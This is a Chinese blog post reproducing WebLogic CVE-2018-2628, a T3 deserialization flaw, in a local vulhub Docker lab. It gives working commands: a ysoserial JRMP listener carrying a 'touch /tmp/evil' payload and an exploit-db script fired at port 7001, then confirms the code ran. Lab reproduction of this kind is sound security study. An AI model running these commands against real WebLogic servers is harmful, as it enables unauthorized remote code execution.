zoukankan      html  css  js  c++  java
  • 漏洞复现

    基础知识

    WebLogic是Orcale出品的一个application server,是J2EE构架中的一部分,具体构架如下(图片来源:https://www.bilibili.com/video/av53746375?p=1)

     

    漏洞原理

    远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。 

    影响版本 

    Oracle WebLogic Server10.3.6.0

    Oracle WebLogic Server12.2.1.2

    Oracle WebLogic Server12.2.1.3

    Oracle WebLogic Server12.1.3.0

    复现环境

    在ubuntu 16.04虚拟机中用vulhub靶场提供的docker镜像来复现

    jdk版本1.7,python版本为2.7(不能是python3,exploit.py脚本只能在python2上执行)

    WebLogic版本为:10.3.6.0

    ysoserial:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta

    exploit.py脚本:https://www.exploit-db.com/exploits/44553

    复现过程

    1. 进入vulhub目录:weblogic/CVE-2018-2628,启动docker容器:docker-compose up -d

    启动容器过程中一直连接超时或者无权限的错误,解决方法:网速问题,需要。。。你懂的~

    启动成功后weblogic也启动了,可以访问weblogic控制台:http://127.0.0.1:7001/console

    2. 启动一个JRMP Server

    java -cp ~/sally/ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 2325 CommonsCollections1 'touch /tmp/evil'
    

    3. 使用exploit.py脚本,向目标Weblogic(http://ip:7001)发送数据包:  

    python ~/sally/exploit.py 127.0.0.1 7001 ~/sally/ysoserial-0.0.6-all.jar 127.0.0.1 2325 JRMPClient  

     结果发送的数据包没有被监听端口2325接收到,修改IP地址为docker的ip地址:

    python ~/sally/exploit.py 127.0.0.1 7001 ~/sally/ysoserial-0.0.6-all.jar 10.0.2.15 2325 JRMPClient  

    接收数据包成功:

    4.进入docker容器:docker-compose exec weblogic bash

    发现tmp/evil,恶意指令执行成功

    本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。

  • 相关阅读:
    golang实现单链表
    koa中间执行机制
    vuex源码简析
    从浏览器渲染过程看重绘回流
    javascript的this
    js 设计模式:观察者和发布订阅模式
    H5 移动端 键盘遮挡焦点元素解决方案
    webpack4 css modules
    Daily,一个入门级的 React Native 应用
    javascript: 类型转换
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/12326738.html
Copyright © 2011-2022 走看看